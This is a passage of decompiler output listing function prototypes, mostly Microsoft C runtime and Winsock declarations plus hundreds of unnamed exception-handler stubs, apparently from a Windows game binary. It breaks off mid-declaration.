// int __cdecl tolower(int c); // int __cdecl strcoll(const char *_string1, const char *_string2); int __cdecl printf(const char *format); // int __cdecl _snprintf(char *string, unsigned int count, const char *format); // char *__cdecl _mbsrchr(const char *str, unsigned int c); // int __cdecl _vsnprintf(char *string, unsigned int count, const char *format, char *ap); // int __cdecl fgetpos(_iobuf *stream, __int64 *pos); // int __cdecl fsetpos(_iobuf *stream, const __int64 *pos); // void __cdecl _splitpath(const char *path, char *drive, char *dir, char *fname, char *ext); // void __cdecl _endthreadex(unsigned int retcode); // unsigned int __cdecl _beginthreadex(void *security, unsigned int stacksize, unsigned int (__stdcall *initialcode)(void *), void *argument, unsigned int createflag, unsigned int *thrdaddr); // int __cdecl _mbsicmp(const char *s1, const char *s2); // int __cdecl _mbsnbcmp(const char *s1, const char *s2, unsigned int n); // char *__cdecl _fullpath(char *UserBuf, const char *path, unsigned int maxlen); // char *__cdecl _mbsupr(char *string); // char *__cdecl _mbspbrk(const char *string, const char *charset); // char *__cdecl _mbschr(const char *string, unsigned int c); // unsigned int __cdecl strtoxl(const char *nptr, const char **endptr, int ibase, int flags); int __cdecl strtol(const char *nptr, char **endptr, int ibase); // unsigned int __cdecl strtoul(const char *nptr, char **endptr, int ibase); // unsigned __int64 __cdecl strtoxq(const char *nptr, const char **endptr, int ibase, int flags); __int64 __cdecl _strtoi64(const char *nptr, char **endptr, int ibase); unsigned __int64 __cdecl _strtoui64(const char *nptr, char **endptr, int ibase); char *__cdecl strtok(char *string, const char *control); // int __cdecl _ismbcdigit(unsigned int c); // int __cdecl _callnewh(unsigned int size); // size_t __cdecl strlen(const char *); // void __cdecl memcpy(char *dst, char *src, unsigned int count); int __cdecl __crtLCMapStringA(unsigned int Locale, unsigned int dwMapFlags, const char *lpSrcStr, int cchSrc, char *lpDestStr, int cchDest, int code_page, int bError); const unsigned __int16 *__cdecl __pctype_func(); int __cdecl __init_ctype(); // unsigned int __cdecl ___lc_codepage_func(); // unsigned int *__cdecl ___lc_handle_func(); // void __cdecl _unlock(int locknum); // int __cdecl _mtinitlocknum(int locknum); // void __cdecl _lock(int locknum); // int __cdecl memcmp(const void *, const void *, size_t); // _tiddata *__cdecl _getptd(); // void __cdecl terminate(); idb void __cdecl _inconsistency(); void __cdecl unk_605AE4(); // weak // char *__usercall cftoe2(char *buf, int ndec, int caps, _strflt *pflt, char g_fmt); char *__cdecl _cftoe(long double *pvalue, char *buf, int ndec, int caps); // char *__usercall cftof2(char *buf, int ndec, _strflt *pflt, char g_fmt); char *__cdecl _cftof(long double *pvalue, char *buf, int ndec); char *__cdecl _cftog(long double *pvalue, char *buf, int ndec, int caps); // void __usercall write_char(char ch, _iobuf *f, int *pnumwritten); // void __usercall write_multi_char(char ch, int num, _iobuf *f, int *pnumwritten); // void __usercall write_string(char *string, int len, _iobuf *f, int *pnumwritten); int __cdecl _output(_iobuf *stream, const char *format, char *argptr); int __cdecl loc_606646(int stream, int format, int argptr); // weak void __cdecl __security_error_handler(int code, void *data); // int __cdecl _close(int fh); // int __stdcall __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *pPtrs); int __cdecl __CxxSetUnhandledExceptionFilter(); LPTOP_LEVEL_EXCEPTION_FILTER __cdecl __CxxRestoreUnhandledExceptionFilter(); // char *__cdecl strcpy(char *, const char *); // char *__cdecl strcat(char *, const char *); // int __cdecl strcmp(const char *, const char *); // int __cdecl _stbuf(_iobuf *str); // void __cdecl _ftbuf(int flag, _iobuf *str); int __cdecl _write_lk(int fh, const void *buf, unsigned int cnt); int __cdecl _write(int fh, const void *buf, unsigned int cnt); // int __usercall inc(_iobuf *fileptr); int __cdecl _input(_iobuf *stream, const char *format, char *arglist); int __cdecl loc_608171(int stream, int format, int arglist); // weak // int __usercall CPtoLCID(int codepage); // int setSBCS(void); weak unsigned int __cdecl setSBUpLow(); int __cdecl setmbcp_lk(int codepage); int __cdecl _read_lk(int fh, void *buf, unsigned int cnt); int __cdecl _read(int fh, void *buf, unsigned int cnt); void __cdecl _RTC_Initialize(); void __cdecl _RTC_Terminate(); // idb // tagHeader *__cdecl __sbh_find_block(void *pvAlloc); // void __cdecl __sbh_free_block(tagHeader *pHeader, void *pvAlloc); // int __cdecl __sbh_resize_block(tagHeader *pHeader, void *pvAlloc, int intNew); // void *__cdecl __sbh_alloc_block(int intSize); // int __cdecl has_osfxsr_set(); int __cdecl __sse2_available_init(); // int __usercall ___00001(__int16 a1, int a2, double a3, long double a4); // int _ffexpm1(void); weak // double __usercall isintTOS(double result); // int _rttospop(void); weak // int _rtindfpop(void); weak // int __cdecl _lseek_lk(int fh, int pos, int mthd); // int __usercall findenv(const char *name, int len); // char **__usercall copy_environ_0(char **oldenviron); int __cdecl __crtsetenv(char **poption, const int primary); // int __cdecl __wtomb_environ(); // unsigned int __cdecl _mbctoupper(unsigned int c); _flt *__cdecl _fltin2(_flt *flt, const char *str, int len_ignore, int scale_ignore, int radix_ignore); void *__cdecl calloc(unsigned int num, unsigned int size); void __cdecl _NMSG_WRITE(int rterrnum); // char *__cdecl _getpath(const char *src, char *dst, unsigned int maxlen); // int __cdecl _access(const char *path, int amode); // void *__cdecl memset(void *, int, size_t); // _iobuf *__cdecl _fdopen(int filedes, const char *mode); // int __cdecl _pipe(int *phandles, unsigned int psize, int textmode); // int __fastcall _cintrindisp1(_DWORD, _DWORD); weak // void __cdecl _ctrandisp1(__int64 parm1); void __cdecl __libm_error_support(void *arg1, void *arg2, void *retval, error_types input_tag); // int __usercall _safe_fdivr(double); weak // int _adj_fprem(void); weak // void __cdecl _raise_exc(_FPIEEE_RECORD *prec, unsigned int *pcw, int flags, int opcode, long double *parg1, long double *presult); // int __cdecl _handle_exc(unsigned int flags, long double *presult, unsigned int cw); // void __cdecl _set_errno(int matherrtype); // int __cdecl _errcode(unsigned int flags); // long double __cdecl _umatherr(int type, unsigned int opcode, long double arg1, long double arg2, long double retval, unsigned int cw); long double __cdecl _except1(int flags, int opcode, long double arg, long double result, unsigned int cw); long double __cdecl _except2(int flags, int opcode, long double arg1, long double arg2, long double result, unsigned int cw); // unsigned int __cdecl _ctrlfp(unsigned int newctrl, unsigned int _mask); // int __cdecl _spawnvpe(int modeflag, const char *filename, const char *const *argv, const char *const *envptr); // int __cdecl _spawnve(int mode, const char *name, const char *const *argv, const char *const *envp); // int __usercall ProcessCodePage(char *lpCodePageStr); // int __cdecl TestDefaultCountry(unsigned int lcid); // unsigned int __usercall LcidFromHexString(char *lpHexString); // int __usercall GetPrimaryLen(char *pchLanguage); int __stdcall CountryEnumProc(char *lpLcidString); int __cdecl TestDefaultLanguage(unsigned int lcid, int bTestPrimary); int __stdcall LangCountryEnumProc(char *lpLcidString); int __stdcall LanguageEnumProc(char *lpLcidString); // int __cdecl __get_qualified_locale(tagLC_STRINGS *const lpInStr, tagLC_ID *lpOutId, tagLC_STRINGS *lpOutStr); // int __cdecl __crtGetStringTypeA(unsigned int dwInfoType, const char *lpSrcStr, int cchSrc, unsigned __int16 *lpCharType, int code_page, int lcid, int bError); // int __usercall strncnt(const char *string, int cnt); int __cdecl __crtCompareStringA(unsigned int Locale, unsigned int dwCmpFlags, const char *lpString1, int cchCount1, const char *lpString2, int cchCount2, int code_page); // int __cdecl _validdrive(unsigned int drive); char *__cdecl _getdcwd_lk(int drive, char *pnbuf, int maxlen); char *__cdecl _getcwd(char *pnbuf, int maxlen); int __cdecl __ansicp(int lcid); char *__cdecl __convertcp(int fromCP, int toCP, const char *lpSrcStr, int *pcchSrc, char *lpDestStr, int cchDest); int __cdecl __getlocaleinfo(int lc_type, unsigned int localehandle, unsigned int fieldtype, void *address); // INTRNCVT_STATUS __cdecl _ld12cvt(_LDBL12 *pld12, void *d, FpFormatDescriptor *format); INTRNCVT_STATUS __cdecl _ld12tod(_LDBL12 *pld12, DOUBLE *d); INTRNCVT_STATUS __cdecl _ld12tof(_LDBL12 *pld12, FLOAT *f); void __cdecl _atodbl(DOUBLE *d, char *str); void __cdecl _atoflt(FLOAT *f, char *str); // void __cdecl _fptostr(char *buf, int digits, _strflt *pflt); // _strflt *__cdecl _fltout2(DOUBLE x, _strflt *flt, char *resultstr); // int __cdecl wctomb(char *s, wchar_t wchar); // int __cdecl __crtMessageBoxA(const char *lpText, const char *lpCaption, unsigned int uType); // int __cdecl _get_osfhandle(int fh); // int __cdecl _lock_fhandle(int fh); // void __cdecl _unlock_fhandle(int fh); // __int64 __cdecl _lseeki64_lk(int fh, __int64 pos, int mthd); // int __cdecl mbtowc(unsigned __int16 *pwc, const char *s, unsigned int n); void __cdecl _87except(int opcode, _exception *exc, unsigned __int16 *pcw16); unsigned int __cdecl __strgtold12(_LDBL12 *pld12, const char **p_end_ptr, const char *str, int mult12, int scale, int decpt, int implicit_E); int __cdecl _chsize_lk(int filedes, int size); // int __cdecl _strnicmp(const char *dst, const char *src, unsigned int count); // int __cdecl __crtGetLocaleInfoW(unsigned int Locale, unsigned int LCType, unsigned __int16 *lpLCData, int cchData, int code_page); // int __cdecl __crtGetLocaleInfoA(unsigned int Locale, unsigned int LCType, char *lpLCData, int cchData, int code_page); // int __cdecl __addl(unsigned int x, unsigned int y, unsigned int *sum); // void __cdecl __add_12(_LDBL12 *x, _LDBL12 *y); // void __cdecl __shl_12(_LDBL12 *p); // void __cdecl __shr_12(_LDBL12 *p); void __cdecl __mtold12(char *manptr, unsigned int manlen, _LDBL12 *ld12); int __cdecl _I10_OUTPUT(_LDOUBLE ld, int ndigits, unsigned int output_flags, _FloatOutStruct *fos); void __cdecl __ld12mul(_LDBL12 *px, _LDBL12 *py); void __cdecl __multtenpow12(_LDBL12 *pld12, int pow, unsigned int mult12); // int __cdecl _setmode_lk(int fh, int mode); // char *__stdcall inet_ntoa(struct in_addr in); // int __stdcall __WSAFDIsSet(SOCKET fd, fd_set *); // int __stdcall WSACleanup(); // int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData); // struct hostent *__stdcall gethostbyname(const char *name); // int __cdecl filelength(int filedes); // int __cdecl fileno(_iobuf *stream); // void __usercall _L183669(int a1); // void __usercall _L193236(int a1); // void __usercall _L191734(int a1); // void __usercall _L191735(int a1); // void __usercall _L191736(int a1); // void __usercall _L191875(int a1); // void __usercall _L191876(int a1); // void __usercall _L191877(int a1); // void __usercall _L191878(int a1); // void __usercall _L191879(int a1); // void __usercall _L191880(int a1); // void __usercall _L191881(int a1); // void __usercall _L191882(int a1); // void __usercall _L191883(int a1); // void __usercall _L191884(int a1); // void __usercall _L191885(int a1); // void __usercall _L191886(int a1); // void __usercall _L191887(int a1); // void __usercall _L191888(int a1); // void __usercall _L191889(int a1); // void __usercall _L191890(int a1); // void __usercall _L191891(int a1); // void __usercall _L191892(int a1); // void __usercall _L191893(int a1); // void __usercall _L191894(int a1); // void __usercall _L191895(int a1); // void __usercall _L191896(int a1); // void __usercall _L191897(int a1); // void __usercall _L191898(int a1); // void __usercall _L191899(int a1); // void __usercall _L191900(int a1); // void __usercall _L191901(int a1); // void __usercall _L191902(int a1); // void __usercall _L191903(int a1); // void __usercall _L191904(int a1); // void __usercall _L191905(int a1); // void __usercall _L191906(int a1); // void __usercall _L191907(int a1); // void __usercall _L191908(int a1); // void __usercall _L191909(int a1); // void __usercall _L191910(int a1); // void __usercall _L191911(int a1); // void __usercall _L191912(int a1); // void __usercall _L191913(int a1); // void __usercall _L191914(int a1); // void __usercall _L191915(int a1); // void __usercall _L191916(int a1); // void __usercall _L191917(int a1); // void __usercall _L191918(int a1); // void __usercall _L191919(int a1); // void __usercall _L191920(int a1); // void __usercall _L191921(int a1); // void __usercall _L191922(int a1); // void __usercall _L191923(int a1); // void __usercall _L191924(int a1); // void __usercall _L191925(int a1); // void __usercall _L191926(int a1); // void __usercall _L191927(int a1); // void __usercall _L191928(int a1); // void __usercall _L191929(int a1); // void __usercall _L191930(int a1); // void __usercall _L191931(int a1); // void __usercall _L191932(int a1); // void __usercall _L191933(int a1); // void __usercall _L191934(int a1); // void __usercall _L191935(int a1); // void __usercall _L191936(int a1); // void __usercall _L191937(int a1); // void __usercall _L191938(int a1); // void __usercall _L191939(int a1); // void __usercall _L191940(int a1); // void __usercall _L191941(int a1); // void __usercall _L191942(int a1); // void __usercall _L191943(int a1); // void __usercall _L191944(int a1); // void __usercall _L191945(int a1); // void __usercall _L191946(int a1); // void __usercall _L191947(int a1); // void __usercall _L191948(int a1); // void __usercall _L191949(int a1); // void __usercall _L191950(int a1); // void __usercall _L191951(int a1); // void __usercall _L191952(int a1); // void __usercall _L191953(int a1); // void __usercall _L191954(int a1); // void __usercall _L191955(int a1); // void __usercall _L191956(int a1); // void __usercall _L191957(int a1); // void __usercall _L191958(int a1); // void __usercall _L191959(int a1); // void __usercall _L191960(int a1); // void __usercall _L191961(int a1); // void __usercall _L191962(int a1); // void __usercall _L191963(int a1); // void __usercall _L191964(int a1); // void __usercall _L191965(int a1); // void __usercall _L191966(int a1); // void __usercall _L191967(int a1); // void __usercall _L194199(int a1); // void __usercall _L194368(int a1); // void __usercall _L194844(int a1); // void __usercall _L194879(int a1); // void __usercall _L195139(int a1); // void __usercall _L195188(int a1); // void __usercall _L195189(int a1); // void __usercall _L195190(int a1); // void __usercall _L195487(int a1); // void __usercall _L195488(int a1); // void __usercall _L195489(int a1); // void __usercall _L195490(int a1); // void __usercall _L195717(int a1); // void __usercall _L195718(int a1); // void __usercall _L196142(int a1); // void __usercall _L196156(int a1); // void __usercall _L196379(int a1); // void __usercall _L196380(int a1); // void __usercall _L196678(int a1); // void __usercall _L196986(int a1); // void __usercall _L196987(int a1); // void __usercall _L196988(int a1); // void __usercall _L197148(int a1); // void __usercall _L197149(int a1); // void __usercall _L197151(int a1); // void __usercall _L197236(int a1); // void __usercall _L197262(int a1); // void __usercall _L197298(int a1); // void __usercall _L197616(int a1); // void __usercall _L197617(int a1); // void __usercall _L197618(int a1); // void __usercall _L197619(int a1); // void __usercall _L197934(int a1); // void __usercall _L197978(int a1); // void __usercall _L197979(int a1); // void __usercall _L198087(int a1); // void __usercall _L198088(int a1); // void __usercall _L198218(int a1); // void __usercall _L198219(int a1); // void __usercall _L163990(int a1); // void __usercall _L163991(int a1); // void __usercall _L171272(int a1); // void __usercall _L165794(int a1); // void __usercall _L165838(int a1); // void __usercall _L165839(int a1); // void __usercall _L168754(int a1); // void __usercall _L168862(int a1); // void __usercall _L170577(int a1); // void __usercall _L170578(int a1); // void __usercall _L194069(int a1); // void __usercall _L200116(int a1); // void __usercall _L194028(int a1); // void __usercall _L194148(int a1); // void __usercall _L194201(int a1); // void __usercall _L195954(int a1); // void __usercall _L197662(int a1); // void __usercall _L194708(int a1); // void __usercall _L194775(int a1); // void __usercall _L194776(int a1); // void __usercall _L194898(int a1); // void __usercall _L194899(int a1); // void __usercall _L195013(int a1); // void __usercall _L195014(int a1); // void __usercall _L195482(int a1); // void __usercall _L195287(int a1); // void __usercall _L195369(int a1); // void __usercall _L195370(int a1); // void __usercall _L195371(int a1); // void __usercall _L198397_1(int a1); // void __usercall _L196578(int a1); // void __usercall _L196579(int a1); // void __usercall _L196753(int a1); // void __usercall _L198141(int a1); // void __usercall _L197112(int a1); // void __usercall _L197923(int a1); // void __usercall _L197924(int a1); // void __usercall _L198076(int a1); // void __usercall _L198310(int a1); // void __usercall _L199047_0(int a1); // void __usercall _L199081(int a1); // void __usercall _L199129(int a1); // void __usercall _L199130(int a1); // void __usercall _L199670(int a1); // void __usercall _L199755(int a1); // void __usercall _L199957(int a1); // void __usercall _L200002(int a1); // void __usercall _L200003(int a1); // void __usercall _L200004(int a1); // void __usercall _L200005(int a1); // void __usercall _L200022(int a1); // void __usercall _L200196(int a1); // void __usercall _L200252(int a1); // void __usercall _L200752(int a1); // void __usercall _L200814(int a1); // void __usercall _L200815(int a1); // void __usercall _L200846_0(int a1); // void __usercall _L200847(int a1); // void __usercall _L200848(int a1); // void __usercall _L201001(int a1); // void __usercall _L201002(int a1); // void __usercall _L202926(int a1); // void __usercall _L203974(int a1); // void __usercall _L203975(int a1); // void __usercall _L204208(int a1); // void __usercall _L204664(int a1); // void __usercall _L204665(int a1); // void __usercall _L204835(int a1); // void __usercall _L204836(int a1); // void __usercall _L204837(int a1); // void __usercall _L204838(int a1); // void __usercall _L204839(int a1); // void __usercall _L204840(int a1); // void __usercall _L204841(int a1); // void __usercall _L204842(int a1); // int _ehhandler___0ListIter_AmpCmdArgument__QAE_GPAVShinePlayer_ShineObjectClass__PAD_Z(); weak // void __usercall _L206624(int a1); // void __usercall _L206625(int a1); // void __usercall _L178180(int a1); // void __usercall _L177286(int a1); // void __usercall _L178017(int a1); // void __usercall _L178019(int a1); // void __usercall _L176582(int a1); // void __usercall _L176848(int a1); // void __usercall _L176547(int a1); // void __usercall _L176548(int a1); // void __usercall _L191277(int a1); // void __usercall _L192159(int a1); // void __usercall _L187946(int a1); // void __usercall _L187947_0(int a1); // void __usercall _L188306(int a1); // void __usercall _L188307(int a1); // void __usercall _L192203(int a1); // void __usercall _L192825(int a1); // void __usercall _L189666(int a1); // void __usercall _L189703(int a1); // void __usercall _L190223(int a1); // void __usercall _L190487(int a1); // void __usercall _L190488(int a1); // void __usercall _L190489(int a1); // void __usercall _L190490(int a1); // void __usercall _L190999(int a1); // void __usercall _L191000(int a1); // void __usercall _L191794(int a1); // void __usercall _L194301(int a1); // void __usercall _L195122(int a1); // void __usercall _L195374(int a1); // void __usercall _L195375(int a1); // void __usercall _L195685(int a1); // void __usercall _L195708(int a1); // void __usercall _L195686(int a1); // void __usercall _L195986(int a1); // void __usercall _L195987(int a1); // void __usercall _L196188(int a1); // void __usercall _L196189(int a1); // void __usercall _L196190(int a1); // void __usercall _L196631(int a1); // void __usercall _L196715(int a1); // void __usercall _L196716(int a1); // void __usercall _L185515(int a1); // void __usercall _L182116(int a1); // void __usercall _L179092(int a1); // void __usercall _L179093(int a1); // void __usercall _L179707(int a1); // void __usercall _L179708(int a1); // void __usercall _L179709(int a1); // void __usercall _L180456(int a1); // void __usercall _L181288(int a1); // void __usercall _L181289(int a1); // void __usercall _L183312(int a1); // void __usercall _L184047(int a1); // void __usercall _L185546(int a1); // void __usercall _L185707(int a1); // void __usercall _L185962(int a1); // void __usercall _L185963(int a1); // void __usercall _L185964(int a1); // void __usercall _L76817(int a1); // void __usercall _L77287(int a1); // void __usercall _L190169(int a1); // void __usercall _L190170(int a1); // void __usercall _L190171(int a1); // void __usercall _L190172(int a1); // void __usercall _L190928(int a1); // void __usercall _L201873(int a1); // void __usercall _L191696(int a1); // void __usercall _L191833(int a1); // void __usercall _L191834(int a1); // void __usercall _L191835(int a1); // void __usercall _L192570(int a1); // void __usercall _L192675(int a1); // void __usercall _L192676(int a1); // void __usercall _L192809(int a1); // void __usercall _L192810(int a1); // void __usercall _L193017(int a1); // void __usercall _L193018(int a1); // void __usercall _L193019(int a1); // void __usercall _L193381(int a1); // void __usercall _L193487(int a1); // void __usercall _L193488(int a1); int __cdecl _L194256(); // void __usercall _L195176(int a1); // void __usercall _L195177(int a1); // void __usercall _L195919(int a1); // void __usercall _L195975(int a1); // void __usercall _L196001(int a1); // void __usercall _L196214(int a1); // void __usercall _L196231(int a1); // void __usercall _L198731_0(int a1); // void __usercall _L199705(int a1); // void __usercall _L199785(int a1); // void __usercall _L200351_0(int a1); // void __usercall _L201229(int a1); // void __usercall _L201467(int a1); // void __usercall _L201468(int a1); // void __usercall _L201469(int a1); // void __usercall _L201633(int a1); // void __usercall _L201906(int a1); // void __usercall _L202116(int a1); // void __usercall _L201908(int a1); // void __usercall _L162949(int a1); // void __usercall _L181033(int a1); // void __usercall _L181123(int a1); // void __usercall _L175644(int a1); // void __usercall _L177230(int a1); // void __usercall _L178610(int a1); // void __usercall _L178792(int a1); // void __usercall _L178793(int a1); // void __usercall _L179531(int a1); // void __usercall _L179919(int a1); // void __usercall _L178841(int a1); // void __usercall _L178842(int a1); // void __usercall _L178843(int a1); // void __usercall _L178844(int a1); // void __usercall _L178845(int a1); // void __usercall _L178846(int a1); // void __usercall _L178847(int a1); // void __usercall _L178848(int a1); // void __usercall _L178849(int a1); // void __usercall _L178850(int a1); // void __usercall _L178851(int a1); // void __usercall _L178852(int a1); // void __usercall _L178853(int a1); // void __usercall _L178854(int a1); // void __usercall _L178855(int a1); // void __usercall _L178856(int a1); // void __usercall _L178857(int a1); // void __usercall _L178858(int a1); // void __usercall _L178859(int a1); // void __usercall _L178860(int a1); // void __usercall _L178861(int a1); // void __usercall _L178862(int a1); // void __usercall _L178863(int a1); // void __usercall _L178864(int a1); // void __usercall _L178865(int a1); // void __usercall _L178866(int a1); // void __usercall _L179903(int a1); // void __usercall _L180006(int a1); // void __usercall _L188704(int a1); // void __usercall _L184897_0(int a1); // void __usercall _L185140_0(int a1); // void __usercall _L185356_0(int a1); // void __usercall _L185557(int a1); unsigned int __cdecl _L185558(); // void __usercall _L185559(int a1); // void __usercall _L185560(int a1); // void __usercall _L185754(int a1); // void __usercall _L185755(int a1); // void __usercall _L186326(int a1); // void __usercall _L186407(int a1); // void __usercall _L186434(int a1); // void __usercall _L186525(int a1); // void __usercall _L186538(int a1); // void __usercall _L187116(int a1); // void __usercall _L176438(int a1); // void __usercall _L176202(int a1); // void __usercall _L176204(int a1); // void __usercall _L176205(int a1); // void __usercall _L178685(int a1); // void __usercall _L178864_0(int a1); // void __usercall _L178373(int a1); // void __usercall _L178621(int a1); // void __usercall _L178731(int a1); // void __usercall _L178732(int a1); // void __usercall _L181391(int a1); // void __usercall _L180859(int a1); // void __usercall _L180860(int a1); // void __usercall _L181069(int a1); // void __usercall _L175625(int a1); // void __usercall _L175715(int a1); // void __usercall _L175934(int a1); // void __usercall _L175935(int a1); // void __usercall _L176042(int a1); // void __usercall _L181954(int a1); // void __usercall _L183142(int a1); // void __usercall _L180746(int a1); // void __usercall _L181220(int a1); // void __usercall _L181221(int a1); // void __usercall _L182338(int a1); // void __usercall _L182825(int a1); // void __usercall _L182826(int a1); // void __usercall _L182155(int a1); // void __usercall _L182292(int a1); // void __usercall _L185230_1(int a1); // void __usercall _L187419(int a1); // void __usercall _L187421(int a1); // void __usercall _L187422(int a1); // void __usercall _L187666(int a1); // void __usercall _L187668(int a1); // void __usercall _L187921(int a1); unsigned int __cdecl _L187922(); void __cdecl _L187933(); // void __usercall _L187923_0(int a1); // void __usercall _L176439(int a1); // void __usercall _L175552(int a1); // void __usercall _L176567(int a1); // void __usercall _L15986(int a1); // void __usercall _L19699(int a1); // void __usercall _L20532_0(int a1); // void __usercall _L176467(int a1); // void __usercall _L176468(int a1); // void __usercall _L177224(int a1); // void __usercall _L176956(int a1); // void __usercall _L176957(int a1); // void __usercall _L177113(int a1); // void __usercall _L177114(int a1); // void __usercall _L177115(int a1); // void __usercall _L176290(int a1); // void __usercall _L178784(int a1); // void __usercall _L178880(int a1); // void __usercall _L174798(int a1); // void __usercall _L75096(int a1); // void __usercall _L73872(int a1); // void __usercall _L113427(int a1); // void __usercall _L194336(int a1); // void __usercall _L183737(int a1); // void __usercall _L183738(int a1); // void __usercall _L183891(int a1); // void __usercall _L183892(int a1); // void __usercall _L184288(int a1); // void __usercall _L185040_0(int a1); // void __usercall _L185078_0(int a1); // void __usercall _L186520(int a1); // void __usercall _L190626(int a1); // void __usercall _L191437(int a1); // void __usercall _L191699(int a1); // void __usercall _L191700(int a1); // void __usercall _L192957(int a1); // void __usercall _L192958(int a1); // void __usercall _L192959(int a1); // void __usercall _L192960(int a1); // void __usercall _L192961(int a1); // void __usercall _L193226(int a1); // void __usercall _L193836(int a1); // void __usercall _L193837(int a1); // void __usercall _L193838(int a1); // void __usercall _L193839(int a1); // void __usercall _L194249(int a1); // void __usercall _L194250(int a1); // void __usercall _L194286(int a1); // void __usercall _L194287(int a1); // void __usercall _L194313(int a1); // void __usercall _L78272(int a1); // void __usercall _L171734(int a1); // void __usercall _L171867(int a1); // void __usercall _L128350(int a1); // void __usercall _L128436(int a1); // void __usercall _L180095(int a1); // void __usercall _L178207(int a1); // void __usercall _L178360(int a1); // void __usercall _L178361(int a1); // void __usercall _L182787(int a1); // void __usercall _L182789(int a1); // void __usercall _L178864_1(int a1); // void __usercall _L178865_0(int a1); // void __usercall _L178866_0(int a1); // void __usercall _L179080(int a1); // void __usercall _L179081(int a1); // void __usercall _L179358(int a1); // void __usercall _L179359(int a1); // void __usercall _L179360(int a1); // void __usercall _L179796(int a1); // void __usercall _L179797(int a1); // void __usercall _L177267(int a1); // void __usercall _L175928(int a1); // void __usercall _L177023(int a1); // void __usercall _L176167(int a1); // void __usercall _L176444(int a1); // void __usercall _L176445(int a1); // void __usercall _L176486(int a1); // void __usercall _L176487(int a1); // void __usercall _L176860(int a1); // void __usercall _L176891_0(int a1); // void __usercall _L176904(int a1); // void __usercall _L178191(int a1); // void __usercall _L178385(int a1); // void __usercall _L177344(int a1); // void __usercall _L177345(int a1); // void __usercall _L177536(int a1); // void __usercall _L177537(int a1); // void __usercall _L177606(int a1); // void __usercall _L177977(int a1); // void __usercall _L177978(int a1); // void __usercall _L177979(int a1); // void __usercall _L178275(int a1); // void __usercall _L175945(int a1); // void __usercall _L176148(int a1); // void __usercall _L176708(int a1); // void __usercall _L176595(int a1); // void __usercall _L176355(int a1); // void __usercall _L176356(int a1); // void __usercall _L176414(int a1); // void __usercall _L176441(int a1); // void __usercall _L176494(int a1); // void __usercall _L176533(int a1); // void __usercall _L180766(int a1); // void __usercall _L185095_0(int a1); // void __usercall _L181305(int a1); // void __usercall _L181306(int a1); // void __usercall _L181510(int a1); // void __usercall _L181511(int a1); // void __usercall _L182328_0(int a1); // void __usercall _L182329(int a1); // void __usercall _L182375(int a1); // void __usercall _L182330_0(int a1); // void __usercall _L182688(int a1); // void __usercall _L182765(int a1); // void __usercall _L182766(int a1); // void __usercall _L184564(int a1); // void __usercall _L184998_0(int a1); // void __usercall _L185040_1(int a1); // void __usercall _L211102(int a1); // void __usercall _L192738(int a1); // void __usercall _L193038(int a1); // void __usercall _L193481(int a1); // void __usercall _L207344(int a1); // void __usercall _L196667(int a1); // void __usercall _L196668(int a1); // void __usercall _L196669(int a1); // void __usercall _L202768(int a1); // void __usercall _L204685(int a1); // void __usercall _L220556(int a1); // void __usercall _L208500(int a1); // void __usercall _L214696(int a1); // void __usercall _L215333(int a1); // void __usercall _L215334(int a1); // void __usercall _L215335(int a1); // void __usercall _L216135(int a1); // void __usercall _L216595(int a1); // void __usercall _L216596(int a1); // void __usercall _L217927(int a1); // void __usercall _L218806(int a1); // void __usercall _L219167(int a1); // void __usercall _L219168(int a1); // void __usercall _L219169(int a1); // void __usercall _L219170(int a1); // void __usercall _L220843(int a1); // void __usercall _L221014(int a1); // void __usercall _L221015(int a1); // void __usercall _L221016(int a1); // void __usercall _L221017(int a1); // void __usercall _L221018(int a1); // void __usercall _L221019(int a1); // void __usercall _L221702(int a1); // void __usercall _L221703(int a1); // void __usercall _L221704(int a1); // void __usercall _L221705(int a1); // void __usercall _L221993(int a1); // void __usercall _L221994(int a1); // void __usercall _L221995(int a1); // void __usercall _L179066(int a1); // void __usercall _L178180_0(int a1); // void __usercall _L178410(int a1); // void __usercall _L178494(int a1); // void __usercall _L178699(int a1); // void __usercall _L178849_0(int a1); // void __usercall _L178934(int a1); // void __usercall _L179016(int a1); // void __usercall _L179017(int a1); // void __usercall _L179018(int a1); // void __usercall _L179537(int a1); // void __usercall _L179547(int a1); // void __usercall _L181929(int a1); // void __usercall _L183374(int a1); // void __usercall _L175957(int a1); // void __usercall _L170764(int a1); // void __usercall _L170083(int a1); // void __usercall _L169574(int a1); // void __usercall _L169575(int a1); // void __usercall _L169610(int a1); // void __usercall _L169611(int a1); // void __usercall _L169695(int a1); // void __usercall _L169948(int a1); // void __usercall _L170353(int a1); // void __usercall _L170354(int a1); // void __usercall _L170440(int a1); // void __usercall _L170526(int a1); // void __usercall _L170527(int a1); // void __usercall _L170528(int a1); // void __usercall _L170791(int a1); // void __usercall _L170792(int a1); // void __usercall _L170793(int a1); // void __usercall _L170794(int a1); // void __usercall _L170795(int a1); // void __usercall _L170859(int a1); // void __usercall _L170860(int a1); // void __usercall _L170861(int a1); // void __usercall _L170926(int a1); // void __usercall _L171002(int a1); // void __usercall _L171003(int a1); // void __usercall _L171064(int a1); // void __usercall _L171089(int a1); // void __usercall _L171090(int a1); // void __usercall _L184377(int a1); // void __usercall _L180775(int a1); // void __usercall _L182040(int a1); // void __usercall _L181949(int a1); // void __usercall _L181950(int a1); // void __usercall _L182101(int a1); // void __usercall _L182102(int a1); // void __usercall _L182103(int a1); // void __usercall _L182104(int a1); // void __usercall _L182232(int a1); // void __usercall _L182233(int a1); // void __usercall _L182802(int a1); // void __usercall _L183116(int a1); // void __usercall _L183251(int a1); // void __usercall _L183261(int a1); // void __usercall _L183598(int a1); // void __usercall _L175985(int a1); // void __usercall _L176394(int a1); // void __usercall _L176478(int a1); // void __usercall _L170967(int a1); // void __usercall _L171146(int a1); // void __usercall _L171313(int a1); // void __usercall _L171463(int a1); // void __usercall _L171465(int a1); // void __usercall _L171582(int a1); // void __usercall _L171684_0(int a1); // void __usercall _L171736(int a1); // void __usercall _L165673(int a1); // void __usercall _L166077(int a1); // void __usercall _L166191(int a1); // void __usercall _L166192(int a1); // void __usercall _L168743(int a1); // void __usercall _L164731(int a1); // void __usercall _L164868(int a1); // void __usercall _L165175(int a1); // void __usercall _L176928(int a1); // void __usercall _L176637(int a1); // void __usercall _L176639(int a1); // void __usercall _L176991(int a1); // void __usercall _L177035(int a1); // void __usercall _L81237(int a1); // void __usercall _L83348(int a1); // void __usercall _L86726(int a1); // void __usercall _L87414(int a1); // void __usercall _L87805_0(int a1); // void __usercall _L89157(int a1); // void __usercall _L89178(int 